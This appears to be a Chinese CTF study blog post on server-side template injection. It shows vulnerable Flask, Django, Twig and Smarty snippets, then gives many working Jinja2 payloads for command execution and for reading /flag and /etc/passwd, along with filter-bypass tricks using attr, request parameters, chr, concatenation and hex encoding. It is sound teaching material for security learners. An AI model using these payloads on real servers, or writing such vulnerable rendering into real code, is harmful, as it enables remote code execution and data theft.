前言

虽然这种类型的题目之前做过,但是并不是很了解,遂记录加深理解。

何为SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection),攻击者通过向Web应用程序的模板引擎注入恶意代码,从而在服务器端执行任意指令。

模板引擎

如Jinja2、Thymeleaf、Freemarker等,用于将动态数据嵌入静态页面(如HTML)。例如,开发人员可能编写模板:

1
Hello {{ user.name }}!

漏洞成因

服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

python中的SSTI

Flask/Jinja2

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/vulnerable')
def vulnerable():
# 直接渲染用户输入的模板内容(高危操作!)
name = request.args.get('name', 'Guest')
# 将用户输入直接拼接到模板中
template = f"<h1>Hello, {name}!</h1>" # 用户可控的模板内容
return render_template_string(template) # 渲染动态生成的模板

if __name__ == '__main__':
app.run(debug=True)

render_template_string()直接执行包含用户输入的模板字符串,导致模板引擎将其视为代码执行。

Django

示例

1
2
3
4
5
6
7
8
9
10
11
rom django.http import HttpResponse
from django.template import Template, Context

def vulnerable_view(request):
# 从GET参数获取用户输入
user_input = request.GET.get('greeting', 'Hello')
# 动态拼接模板内容(高危操作!)
template_code = f"<h1>{{{{ {user_input} }}}}</h1>" # 用户可控的模板语法
t = Template(template_code) # 编译用户输入的模板
context = Context()
return HttpResponse(t.render(context)) # 渲染模板

php中的SSTI

Twig

示例

php

1
2
3
4
5
6
7
require_once 'vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);

$userInput = $_GET['name']; // 直接获取用户输入
echo $twig->render("Hello {{ name }}!", ["name" => $userInput]);

攻击者可通过 name 参数注入恶意模板代码:

1
http://example.com/?name={{7 * 7}}

Smarty

php

1
2
3
$smarty = new Smarty();
$userInput = $_GET['payload'];
$smarty->display("Message: {" . $userInput . "}");

攻击者注入:

http

1
http://example.com/?payload={system('id')}

Python模板注入的一般流程

现在大部分的SSTI还是以jinja2为主或者是python的模板,所以先讲python。

前置知识

一般我们看到的payload长这样

1
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('cat /flag').read()}}
  • 对象 : 在 Python 中 一切皆为对象 ,当你创建一个列表 []、一个字符串 "" 或一个字典 {} 时,你实际上是在创建不同类型的对象。
  • 继承 : 我们知道对象是类的实例,类是对象的模板。在我们创建一个对象的时候,其实就是创建了一个类的实例,而在 python 中所有的类都继承于一个基类,我们可以通过一些方法,从创建的对象反向查找它的类,以及对应类父类。这样我们就能从任意一个对象回到类的端点,也就是基类,再从端点任意的向下查找。
  • 魔术方法 : 我们如何去实现在继承中我们提到的过程呢?这就需要在上面 Payload 中类似 __class__ 的魔术方法了,通过拼接不同作用的魔术方法来操控类,我们就能实现文件的读取或者命令的执行了。

一般过程

假设我们现在只有一个对象A,那么我们要做的就是:

找对象 A 的类 - 类 A -> 找类 A 的父亲 - 类 B -> 找祖先 / 基类 - 类 O -> 遍历祖先下面所有的子类 -> 找到可利用的类 类 F 类 G-> 构造利用方法-> 读写文件 / 执行命令

拿基类

在python中所有类都继承自一个特殊的基类object,拿到它即可获取所有的子类。

我们一般利用字符串,元组,字典,列表这种最基础的对象向上查找。

在寻找时通常使用以下魔术方法

1
2
3
4
5
6
7
__class__            类的一个内置属性,表示实例对象的类。

__base__ 类型对象的直接基类

__bases__ 类型对象的全部基类,以元组形式,类型的实例通常 没有属性 __bases__

__mro__ 查看继承关系和调用顺序,返回元组。此属性是由类 组成的元组,在方法解析期间会基于它来查找基类。

我们一般先利用__class__获取一个实例的类,再用__base__,__bases__,__mro__获取基类例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> request.__class__
<class 'flask.wrappers.Request'>

>>> request.__class__.__mro__
(<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.sansio.request.Request'>, <class 'flask.wrappers.JSONMixin'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'object'>) # 返回为元组
>>> request.__class__.__mro__[-1]#利用负索引获取元组的最后一个元素
<class 'object'>

>>> request.__class__.__bases__
(<class 'werkzeug.wrappers.request.Request'>, <class 'flask.wrappers.JSONMixin'>) # 返回为元组
>>> request.__class__.__bases__[0].__bases__[0].__bases__[0]
<class 'object'>

>>> request.__class__.__base__
<class 'werkzeug.wrappers.request.Request'>
>>> request.__class__.__base__.__base__.__base__
<class 'object'>

拿子类

当我们拿到基类时,便可以直接使用 subclasses() 获取基类的所有子类了。

1
2
3
().__class__.__base__.__subclasses__()
().__class__.__bases__[0]__subclasses__()
().__class__.__mro__[-1].__subclasses__()

找到合适的子类后我们还需要用

1
2
3
__init__             初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身

找到子类中合适的方法

image-20231129164759866

命令执行

找到合适的方法后,我们便可以进行命令执行例如

1
''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('dir').read()

这使用了popen方法读取目录

绕过

. 被过滤

1.[]绕过

可以利用 [ ]代替 . 的作用。

{{().__class__}} 可以替换为:
{{()["__class__"]}}
举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2.attr绕过

attr用于获取对象的属性

1
2
3
4
5
{{().__class__}} 可以替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

单双引号过滤

1.利用request内置对象

在Flask框架中,request对象可以访问HTTP请求的所有参数(如GET参数、POST表单、Cookies、Headers等)。攻击者通过将这些参数作为字符串载体,将原本需要单双引号的敏感字符(如__class__os等)以参数形式传递,从而绕过模板引擎对引号的过滤。

例如:

  • GET参数request.args.key获取URL中的参数值。
  • POST参数request.form.key获取表单提交的值。
  • Cookies request.cookies.key从Cookie中读取值

例如

1
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    

2.chr绕过

如果使用GET请求时,+号记得url编码,要不会被当作空格处理。

1
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

关键字过滤

1.字符串拼接

1
["__cla" "ss__"]  # 等价于 "__class__"

利用”+”进行字符串拼接,绕过关键字过滤。

1
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}

2.join拼接

利用join()函数来绕过关键字过滤,和使用**+**号连接大差不差。

1
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

3.使用str原生函数replace替换

将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

1
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

4.编码绕过

我们可以利用对关键字编码的方法,绕过关键字过滤,例如用16进制编码绕过:

1
2
3
4
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

与这类似的,其他编码方式也可以绕过

5.在jinja2可以使用~进行拼接

1
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

类知识的总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__class__            类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。

request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>